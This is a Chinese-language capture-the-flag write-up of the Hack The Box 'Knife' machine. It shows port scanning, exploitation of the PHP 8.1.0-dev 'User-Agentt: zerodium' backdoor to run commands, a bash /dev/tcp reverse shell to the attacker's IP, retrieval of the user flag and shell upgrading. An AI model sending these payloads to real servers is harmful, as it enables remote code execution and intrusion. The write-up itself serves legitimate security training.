HTB Knife – 渗透测试详细报告(wp)

你是慕鸢呀~ 发布于 2025-04-02 3 次阅读 3425 字 预计阅读时间: 16 分钟


HTB Knife – 渗透测试详细报告

环境介绍

  • 攻击者 IP: 10.10.16.16
  • 目标靶机 IP: 10.10.10.242

渗透测试流程

1. 信息收集 - 渗透测试的本质就是信息收集

信息收集是渗透测试的基础,就像在解决一个复杂问题前需要了解问题的各个方面。我们需要尽可能多地了解目标系统,以找出潜在的弱点。

端口扫描 - 发现开放服务

首先,我们使用 Nmap 进行全端口快速扫描。这里的参数含义如下:

  • -sT:使用完整的 TCP 连接扫描
  • -min-rate 15000:设置最小发包速率,加快扫描速度
  • -p-:扫描所有 65535 个端口
nmap -sT -min-rate 15000 -p- 10.10.10.242

扫描结果显示仅有两个开放端口:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

这告诉我们目标系统运行着 SSH 服务(用于远程登录)和 HTTP 服务(Web 服务器)。这是一个典型的服务器配置,通常 Web 服务器提供了最多的攻击面。

随后对这两个端口进行详细的服务探测:

  • -sC:使用默认的脚本集合进行扫描
  • -sV:探测服务版本信息
  • -O:尝试识别操作系统
nmap -sT -sC -sV -O -p22,80 10.10.10.242

详细扫描结果如下:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
|   256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_  256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title:  Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从这些结果中,我们得到了一些重要信息:

  • 目标服务器运行 Ubuntu Linux
  • SSH 版本是 OpenSSH 8.2p1
  • Web 服务器是 Apache 2.4.41
  • 网页标题是 "Emergent Medical Idea"

这些信息有助于我们确定可能的漏洞和攻击向量。例如,特定版本的服务可能存在已知的安全漏洞。

2. Web服务探测 - 深入分析 HTTP 服务

Web 服务通常是最常见的攻击入口点,因为它们需要与外部用户交互,可能包含各种漏洞。

访问目标的 HTTP 服务 (80端口),发现一个简单的静态网页,没有可交互的元素。这种情况下,我们需要更深入地检查服务器配置和响应。

尝试访问一些常见路径(如 /reboot.txt)均返回 404 错误,表明没有找到明显的隐藏内容。

进一步检查 HTTP 响应头,这一步非常关键,因为响应头通常会泄露服务器的配置信息:

HTTP/1.1 200 OK
Date: Wed, 02 Apr 2025 07:45:38 GMT
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 2406
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

从响应头中,我们找到了一个重要线索:X-Powered-By: PHP/8.1.0-dev。这表明服务器使用的是 PHP 开发版本,而不是稳定版本。开发版本通常不应该用于生产环境,因为它们可能包含未修复的漏洞或调试功能。

服务器配置总结:

  • Web服务器:Apache/2.4.41 (Ubuntu)
  • PHP版本:PHP/8.1.0-dev(开发版本!)

3. 漏洞识别与利用 - 发现 PHP 后门

漏洞研究是一个需要耐心和知识的过程。在实际渗透测试中,我们会查询安全数据库,搜索已知的漏洞信息。

通过研究,我们发现 PHP 8.1.0-dev 版本存在一个严重的安全漏洞。2021年3月28日,有人在这个版本的 PHP 源代码中植入了一个后门。虽然这个后门很快被发现并清除,但已经被编译到一些 PHP 构建版本中。

这个后门的工作原理很简单但非常危险:攻击者可以通过发送特殊的 HTTP 头 User-Agentt(注意是双 t,这是故意的拼写错误,为了避免被常规检查发现)来执行任意 PHP 代码。格式为 User-Agentt: zerodium<PHP代码>;,其中 "zerodium" 是触发后门的特定字符串。

漏洞验证

使用 Burp Suite 这类 HTTP 代理工具拦截请求,添加恶意 User-Agentt 头来执行系统命令:

GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("whoami");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这段代码中,我们使用了 system("whoami") 这个 PHP 函数来执行系统命令 whoami,该命令会显示当前运行进程的用户名。

服务器返回结果显示当前 PHP 进程是以用户 james 的身份运行的。这告诉我们:

  1. 漏洞确实存在
  2. 我们已经能够执行系统命令
  3. Web 服务以 james 用户权限运行

4. 获取反向 Shell - 建立持久连接

确认漏洞存在后,下一步是获取一个完整的反向 Shell,这样我们就能够更方便地与目标系统交互。反向 Shell 的原理是让目标机器主动连接到攻击者的机器,从而绕过防火墙的限制(当然这里肯定没有防火墙,而且现在的防火墙可以监测外联)。

首先在攻击机上启动 Netcat 监听,等待连接:

nc -lvnp 9999

参数解释:

  • -l: 监听模式
  • -v: 详细输出
  • -n: 禁用 DNS 解析
  • -p 9999: 在端口 9999 上监听

然后通过之前发现的 PHP 漏洞执行反向 Shell 命令:

GET / HTTP/1.1
Host: 10.10.10.242
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1'");
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

这段命令的解释:

  • bash -c 表示执行 bash 命令
  • exec bash -i >& /dev/tcp/10.10.16.16/9999 0>&1 是一个复杂的 bash 命令:
    • bash -i 启动一个交互式 bash shell
    • >& /dev/tcp/10.10.16.16/9999 将输出重定向到 TCP 连接
    • 0>&1 将标准输入也重定向到同一连接
    • 整体效果是将 bash 的输入和输出都连接到攻击者的 IP 和端口

成功GetShell 后,getkey1:

cd /home/james
cat user.txt
# 输出: 6736cc8ee09d200639eeab8ee412c494

5. Shell 升级 - 改善交互性能

初次获取的 Shell 通常功能有限,不支持命令历史、自动补全、清屏等功能,这会使进一步操作变得困难。为了获得更稳定和功能完善的交互式 Shell,我们可以进行升级。

这个过程涉及几个步骤,让我们理解每一步的目的:

  1. 首先检查目标系统上可用的 Python 版本:
which python python2 python3
# 输出: /usr/bin/python3
  1. 使用 Python 的 pty 模块获取完整的 TTY(Teletype)终端:
/usr/bin/python3 -c 'import pty;pty.spawn("/bin/bash")';

这行代码使用 Python 创建一个新的伪终端,运行 /bin/bash

  1. 设置必要的环境变量,使终端更实用:
export SHELL=bash
export TERM=xterm-256color

这里设置了 shell 类型和终端类型,启用颜色和更多终端功能。

  1. Ctrl+Z 将 Shell 置于后台,回到本地终端
  2. 在本地终端配置 TTY 设置:

stty raw -echo;fg

这一步配置本地终端不处理特殊字符(raw 模式)并禁用本地回显,然后将后台任务带回前台(fg)。

我本桀骜少年臣,不信鬼神不信人。
最后更新于 2025-04-12